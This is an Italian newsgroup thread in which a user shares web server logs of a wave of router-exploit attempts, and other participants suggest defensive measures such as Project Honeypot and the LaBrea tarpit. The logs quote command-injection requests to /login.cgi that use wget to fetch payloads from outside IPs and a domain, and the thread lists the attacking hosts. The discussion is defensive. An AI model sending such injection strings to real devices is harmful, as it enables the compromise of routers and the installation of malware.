Newsgroup: it.comp.sicurezza.varie
Titolo: Oggi si sono svegliati molti scrip kid

Leggo nei log:  "GET /login.cgi?cli=aa......"
 
Most requested URLs
      1 /login.cgi ? cli=aa%20aa%27 ; wget%20http : // 
178.128.11.199/
 
      2 /login.cgi ? cli=aa%20aa%27 ; wget%20http : // 
206.189.168.43/
 
      3 /login.cgi ? cli=aa%20aa%27 ; wget%20http : // 
185.172.164.41/
 
      3 /login.cgi ? cli=aa%20aa%27 ; wget%20http : // 
g.mariokartayy.com/
 
      6 /login.cgi ? cli=aa%20aa%27 ; wget%20http : // 
104.244.72.82/
 
     13 /login.cgi ? cli=aa%20aa%27 ; wget%20http : // 
199.195.254.118/
 
     46 /login.cgi ? cli=aa%20aa%27 ; wget%20http : // 
185.62.190.191/
 
    166 /login.cgi ? cli=aa%20aa%27 ; wget%20http : // 
178.128.11.199/
 
-------------------------------
Totale: 240 su 8 voci.
 
 
Era un po' che i log erano monotoni...
Si, lo so che è un exploit di un famoso router...
 
Molti ip sono giapponesi, ma vi sono anche alcuni italiani...
 
-- 
your story is so touching, but it sounds just like a lie
"Straighten up and fly right"

 Leggo nei log:  "GET /login.cgi?cli=aa......"
 
https://www.projecthoneypot.org/httpbl.php
 
 
ti basta implementare il modulo relativo al tuo server (o applicativo),
configurarlo come preferisci, e via
 
https://www.projecthoneypot.org/httpbl_implementations.php
 
 
giusto come nota, il modulo per IIS l'ho scritto io :) non l'ho
aggiornato da qualche tempo, ma credo funzioni ancora senza problemi,
d'altro canto, il sorgente è disponibile :D
 
 
 


E' già in pratica un honeypot, nel senso che è li acceso, logga e se qualcuno
chiede la pagina principale viene indirizzto a google. Non fa altro.
Be, non esattamente, logga anche altri servizi, ma fondamentalmente logga e basta!
 
Anche ieri ed oggi, un boom di richieste analoghe, statisticamente un 70-80%
sono giapponesi...
 
-- 
Mia moglie è stata ricoverata per un prolasso vetriloquiale.
Dopo una accurata favellascopia, è stata operata di glossectomia totale.
Ora sono una persona felice.
 

 fondamentalmente logga e basta!
 
Beh, allora... creati un account su Project Honeypot (e no, NON ti
spammano e non ti rompono, ci mancherebbe altro :D :D)
 
https://www.projecthoneypot.org/create_account.php
 
 
dopodichè, vai qui
 
https://www.projecthoneypot.org/services_overview.php
 
 
e clicchi su "install a honeypot"; in breve si tratta solo di prelevare
una "unique id" ed a quel punto, ti forniranno del codice HTML da
mettere nelle pagine che desideri, codice che "attira" gli spambots e
serve a verificare quello che combinano ed eventualmente ad aggiungerli
alla HTTP:BL (e non *solo* a quella <very big evil grin> :D)
 
ciao
 

 Già messi in backlist.
 
Al momento si appoggiano su:
hakaiboatnet.pw
 
xo.alprazolam.rip
206.189.168.43
g.mariokartayy.com
 
185.172.164.41
104.244.72.82
199.195.254.118
185.62.190.191
178.128.11.199
 
Gli accessi (o almeno che ci provano) superiori a 5 tentativi:
       5 119.231.199.203
       5 151.77.149.87
       5 219.124.197.252
       7 123.224.0.55
       7 125.4.104.247
       7 182.170.69.182
       7 183.176.155.33
       7 202.220.240.92
       7 42.125.190.114
       7 58.85.86.171
       8 110.54.95.72
       8 153.205.56.24
       8 163.58.230.181
       8 218.220.17.215
       8 49.129.106.247
       9 180.13.209.237
       9 218.219.126.97
      11 202.59.114.213
-------------------------------
Totale: 231 su 183 voci.


 qualcuno chiede la pagina principale viene indirizzto a google. 
 
Se ti vuoi divertire MOLTO di più, dai un'occhiata qui
 
http://collaboration.cmc.ec.gc.ca/science/rpn/biblio/ddj/Website/articles/SA/v12/i09/a2.htm
 
 
e, per maggiori dettagli, vedi anche
 
http://labrea.sourceforge.net/labrea-info.html
 
 
:D :D :D
 


:-)))))
 
FBI & BOFH !
 
Mi sono segnato i link, anche quelli del progetto honeypot.
La tentazione è tanta. Ma la banda (7 mega) poca.
Ed il trabiccolo è un raspberry.
Ma ci sto facendo qualche pensierino...
 
 
-- 
J’ai cherché dans l’amour un sommeil oublieux;
Mais l’amour n’est pour moi qu’un matelas d’aiguilles
Fait pour donner à boire à ces cruelles filles!


Installato labrea sul raspberry, era nei suoi repository, nessun lavoro per installarlo.
Ha un "brutto" difetto, i log li salva senza un marchio distintivo in syslog.
Sono abituato ad avere un file per ogni applicazione...
Bisogna scorrere tutto il file, per filtrare i messaggi. :(
 
Per quanto riguarda invece il progetto honeypot, mi sembra di intuire, che si
basa su moduli php, giusto?
Perchè io non ce l'ho il php (attualmente non mi serve per niente)...


 un marchio distintivo in syslog.
 
Se non ricordo male, c'è la possibilità di abilitare l'inserimento di un
"tag" ai log records del programma
 
https://github.com/Hirato/LaBrea
 
 
ma bisognerebbe dare un'occhiata alla documentazione, ora è un pezzo
che non uso più LaBrea
 



ricordavo male, il tag lo mette in automatico
 
https://github.com/Hirato/LaBrea/blob/master/src/labrea_init.c
 
 
linea 710 - "util_open_syslog(pgm_name);" dove "pgm_name" corrisponde
ad "argv[0]" ossia al nome del programma (es. "labrea"), per cui puoi
usare quello per filtrare il syslog
 

 Installato labrea sul raspberry, era nei suoi repository, nessun
 
dimenticavo
 
http://www.linux-magazine.com/Online/Features/Honeypots-for-the-Pi/(offset)/6
 
 
;-)